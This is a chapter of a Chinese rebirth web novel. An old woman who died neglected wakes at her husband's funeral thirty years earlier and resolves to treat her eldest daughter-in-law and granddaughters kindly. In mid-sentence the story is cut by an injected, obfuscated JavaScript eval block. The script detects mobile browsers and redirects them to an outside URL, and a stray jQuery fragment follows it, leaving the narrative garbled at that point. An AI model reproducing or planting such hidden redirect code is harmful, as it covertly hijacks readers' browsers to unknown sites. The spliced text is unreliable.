葬礼就是一场孝子贤孙的表演,随着三个儿子在张桂芬葬礼上哭天震天,且杀猪宰羊地招待宾客,三个儿子又变成大家嘴里的大孝子。
张桂芬那附在猪身上的灵魂随着猪被宰杀也渐渐离去,离开了让她奉献一生却没有善终的家。
……
“桂芬啊,桂芬,快醒醒!”
“她这是伤心过头厥过去了,快掐人中。”
“人中在哪里啊?”
“鼻子下边,哎呀,传文媳妇啊,瞧你笨的。”
“行了行了,眼皮子动了,活过来了。”
随着一阵喧闹声,张桂芬睁开眼睛,随着一张张熟悉又陌生的脸映入眼帘,她有些恍惚。
熟悉是因为她看到了许久没见的家人,陌生是因为这些脸比印象中年轻了许多。
她不是**吗?怎么还能看到三十年多前的家人?
难道是她们都**?
环顾四周,房子是三十年多前的老房子,堂屋里横着一副棺材,棺材前的供桌上摆着的是她**三十多年的老伴。
原来死的另有其人!
她回到了三十年多前老伴的葬礼上?
张桂芬调整思绪,尽快地接受重生的事实。
“桂芬啊,你可得想开点啊,老三的媳妇还没娶进门呢,你的任务还没完成,可不能撂挑子!”
“撂啥挑子啊,娘最疼三弟了,可不会舍得走的!”
说话的老二媳妇还往张桂芬跟前凑了凑,似乎在等待嘉奖。
张桂芬只好扯了扯嘴角,道:“你说的真好,像放屁一样好听。”
邻居李福娘见她还是说话那么难听就知道她没事儿了,忙拉着她的手,眼角含着泪地看着她。
李福娘是她多年的老邻居了,前世她瘫痪以后,是她多次主动上门帮张桂芬换洗擦身子。
想到前世恩情未报,张桂芬不由得滴下泪来。
“你刚才都哭厥过去了,可不兴再哭了。”李福娘说着,招呼身后的传文媳妇道:“巧凤,快把你娘扶里屋躺躺,我去给她打个鸡蛋茶去。”
前世,巧凤因为连生了大丫和二丫两个闺女后被结了扎,彻底断了老大传文这一支的香火,很是不受张桂芬的待见。
巧凤也是个没脾气的,婆婆不待见,她就小心翼翼的活着。
因着传文没有儿子,老伴的葬礼结束后,张桂芬逼着传文把他住的三间平房让出来给老三娶媳妇用,让传文一家四口搬进了老房子,还把巧凤娘家陪嫁的自行车和缝纫机要了过来给了老三媳妇。
如此过分的行为并没有让巧凤生气,甚至一句重话都没有。
因为巧凤是个传统的女人,自认为身为长媳,没能给王家生下儿子就是理亏。
真正让巧凤对张桂芬逆反的是,张桂芬在老三传义生下儿子王大宝后,要求大丫辍学照顾大宝,在传义家当使唤丫头。
巧凤自小在重男轻女的环境中长大,她能容忍婆婆对她百般刁难,能容忍家里值钱的物件都让给小叔子,但绝对不能让女儿再走她的老路。
不管张桂芬怎么闹,巧凤都不松口,甚至为了能让大丫上学,巧凤主动放弃家里的房子和地
,进城打工供孩子读书。
即便这样,张桂芬也没有放过老大两口子,她追到城里,要老大两口子每个月都要从收入里拿出三分之一的钱出来给她。
那些钱说是给她养老,实际上都被她拿去贴补了老三两口子。
想到自己前世的行为,张桂芬再见巧凤,心底不由得涌上一丝羞愧,同时也恼恨老大传文。
怎么就那么窝囊呢?由着自己老娘欺负老婆孩子也不反抗!
老婆不好意思护着也就算了,怎么连孩子也不护着?
就是个废物点心!
恼恨过儿子,她低声对搀扶自己的巧凤道:“我没啥事儿,你去照管两个丫头吧。”
张桂芬决定,今生不能再做女人为难女人的事儿了。
张桂芬温和的态度显然吓到了巧凤,她有些不可置信地看向张桂芬,嘴上结结巴巴的道:“两个丫头片子有啥好照管的。”
“女孩比男孩金贵。”想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169910|196824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到前世大丫二丫在巧凤的支持下都上了大学,留在了城里,张桂芬忍不住拍了拍巧凤的肩膀,道:“你好好教育两个丫头,将来咱家就她俩有出息!”
这话被赶来的老二媳妇娟子听个正着,她已经为老王家添了一个孙子,自视腰杆是硬的,猛不丁的听到婆婆说这话,嘴里不由的反酸,道:“娘说这话我就不爱听了,咋就知道那俩丫头比我儿子有出息呢?她们那么有出息,咋让我儿子给他爷爷打幡呢,咋不让大嫂家的大丫打呢?”
“你儿子打幡,是能复活他爷爷还是咋地?”张桂芬冷哼一声,“那不是该入土还得入土?”
张桂芬就见不得老二媳妇处处掐尖要强的样,每每见她就要跟她干一架。
前世,张桂芬在分家时偏心还没有成家的老三,让娟子心生不满,好一通闹腾。
张桂芬自然不能惯着她,但毕竟是自己理亏,于是便跑到传武跟前,用农村妇女惯常的一哭二闹三上吊。
传武听完老娘的哭诉扭脸就去打媳妇,媳妇被打的跑回娘家,叫来三个牛一样壮的弟弟把传武打的俩月下不来床。
自那以后,传武就变成了后世所谓的宠妻狂魔,为了妻子不惜与老娘断绝往来。
隔着前世,今生再见娟子,张桂芬还是本能的生理性厌恶。
娟子自然也不把张桂芬放在眼里,眼见婆婆说出的话难听,她不甘示弱地道:“娘你说这话,有本事你百年之后别让我儿子给你打幡。”
想起前世葬礼上,娟子的好大儿因为天冷不肯打幡,最后还是老大答应给他五百块钱,他才肯冒着严寒举着那个绑着幡的棍子。
张桂芬冷哼一声道:“用不着你儿子给我打幡,连你也不要出现在我的葬礼上。”
说着,她钻进里屋,顺手把门关上,将两个儿媳妇关在了门外。
门外的葬礼的哭嚎声声入耳,张桂芬的心却异常的平静。
虽说眼下**老伴是该悲伤,但那个愚孝又暴躁的男人对于张桂芬来说死的属实有点死晚了!